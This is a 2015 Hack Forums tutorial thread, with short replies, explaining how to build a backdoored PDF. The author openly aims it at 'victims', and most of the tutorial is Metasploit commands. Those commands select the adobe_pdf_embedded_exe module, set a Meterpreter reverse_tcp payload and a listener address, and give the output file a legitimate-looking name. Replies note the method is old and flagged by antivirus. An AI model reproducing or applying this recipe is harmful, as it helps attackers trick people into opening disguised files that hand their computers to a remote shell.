Hack Forums
[TUTORIAL] How To Bind A .pdf File With A Backdoor - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUTORIAL] How To Bind A .pdf File With A Backdoor (/showthread.php?tid=4686108)



[TUTORIAL] How To Bind A .pdf File With A Backdoor - ThisIsRetardedLOL - Feb 14, 2015

We will be adding a rootkit into an PDF file which we can send to victims and run them

What You Need
~ Kali Linux
~ Brains
~ Knowledge Of Metasploit

1) Run Metasploit By Opening Terminal and Typing msfconsole

2) We will search metasploit's database for the exploit for .pdf on windows, using this code:
Code:
msf > " search type:exploit platform:windows adobe pdf "

3) You Should See Something Like This
" msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe "
Copy " use exploit/windows/fileformat/adobe_pdf_embedded_exe "
Then Click Enter

4) Setting The Payload
Meterpreter Is Probrably The Best and Most Known Payload To Use
Now Type This

Code : msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp

5) Setting The Options For The Exploit
Now What You Need To Do Is View The Options By Typing "show options" and Clicking Enter
You Can See That We Must Provide An Existing PDF file To The INFILENAME Option In Which To Embed The Meterpreter Payload Call It Whatever You Want Such As tutorial.pdf Which Seems Kind Of Legit.
Code : msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME tutorial.pdf
Now You Need To Put The Output Name
Code : msf > exploit (adobe_pdf_embedded_exe) > set FILENAME tutorial.pdf
Now We Need The Opponent's IP Address
Im Going To Just Use 192.168.4.4 For An Example
Code : msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.4.4

6) Running The Exploit
Now We Have Everything Ready All We Need To Do Is Run The Exploit
Code : msf > exploit (adobe_pdf_embedded_exe) > exploit
Now Your Meterpeter Listener Is Working And Metasploit Has Created The tutorial.pdf

Thanks for reading, Comment If This Was Usefull.


* - curtis5000 - Feb 16, 2015

Guy..these msf payloads was found in a pharaoh's tomb...old as fuck


* - Trebax. - Feb 16, 2015

Nice method but still, like curtis5000 said, these are old as literal fuck


* - ThéPoisoner - Feb 16, 2015

This was picked up by anti-virus and EVEN Internet Explorer at the time. Indeed what curtis5000 said.

It is still a fun way to learn how something like this works, you can learn a lot by just testing and understanding the code etc from old exploits.